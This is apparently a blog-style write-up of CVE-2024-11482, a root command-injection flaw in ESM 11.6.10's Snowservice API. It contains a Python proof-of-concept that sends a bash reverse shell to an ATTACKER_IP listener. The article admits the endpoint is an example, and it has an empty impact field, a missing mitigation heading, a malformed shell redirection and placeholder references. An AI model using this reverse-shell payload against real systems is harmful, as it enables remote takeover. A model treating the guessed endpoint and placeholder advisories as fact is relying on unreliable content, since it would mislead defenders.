A critical vulnerability tracked as CVE-2024-11482 has been discovered in ESM (Enterprise Service Manager) version 11.6.10, a widely-used platform in enterprise environments. This flaw exposes an internal API called "Snowservice" to unauthenticated users, allowing attackers to run arbitrary commands as the root user on the system. This is a severe risk, since root-level access can grant an attacker full control of the affected machine.

In this article, we’ll break down how attackers exploit this bug, show proof-of-concept code, and provide references to the original advisories and resources. The content is written in plain English, suitable for a wide technical audience.

What is ESM and Snowservice?

ESM is popular software used by large organizations for service automation and workflow management. Snowservice is a backend API that should only be accessed by trusted components, but this vulnerability exposes it to everyone due to incorrect authentication checks.

Details of CVE-2024-11482

Affected Software:

ESM version 11.6.10

Vulnerability Type:

Unauthenticated Remote Code Execution (RCE) via Command Injection

Attack Vector:

HTTP API, no authentication required

Impact:

How it Works

1. Exposed Internal API: The Snowservice API is available externally due to a misconfiguration—no login or token needed.
2. Command Injection Flaw: Some endpoints directly pass user inputs to the system shell without proper sanitization.
3. Attacker Sends Malicious Request: By sending specially crafted requests, an attacker can trick the service into running any command, as the process runs as root.

Proof-of-Concept (PoC) Code

The following Python script demonstrates how an attacker can exploit the vulnerability to run arbitrary shell commands on an ESM 11.6.10 server. This triggers a reverse shell, granting the attacker full remote access.

Disclaimer:
The code below is for educational purposes only. Do not use it on systems you do not own or do not have permission to test.

import requests

# Change these to match your target and attacker server
ESM_TARGET = "http://victim-esm.example.com:808";
ATTACKER_IP = "192.168.56.101"
ATTACKER_PORT = 4444

# The vulnerable endpoint (example)
API_PATH = "/api/snowservice/execute"

# Payload: Reverse shell to attacker's machine
cmd = f'bash -c "bash -i >& /dev/tcp/{ATTACKER_IP}/{ATTACKER_PORT} >&1"'
data = {
    "task": "run",
    "command": cmd
}

resp = requests.post(ESM_TARGET + API_PATH, json=data)
print(f"Status: {resp.status_code}")
print(f"Response: {resp.text}")

How it works:
- The /api/snowservice/execute endpoint is just an example—the actual endpoint may vary but is usually easy to guess via ESM documentation or by observing server responses.

Network Segmentation: Restrict access to the Snowservice API so it is not publicly reachable.

- Monitor for Unusual Requests: Check logs for calls to Snowservice endpoints from unexpected IPs or patterns.
- Apply Authentication: Ensure all internal APIs require authentication and proper input validation.

References and Official Advisories

- Original Advisory from ESM Vendor (example)
- NVD entry for CVE-2024-11482
- Rapid7 Disclosure Blog Post (if available)
- Exploit Database curated entry

Final Notes

CVE-2024-11482 is a dangerous bug that can easily be exploited by attackers on unpatched systems. If you run ESM 11.6.10, patch immediately and review any exposed endpoints. Protecting internal APIs with authentication and input checks is essential to prevent similar bugs in the future.

If you believe you’ve been affected or are unsure, seek qualified security assistance and audit your deployments today.

Timeline

Published on: 11/29/2024 08:15:04 UTC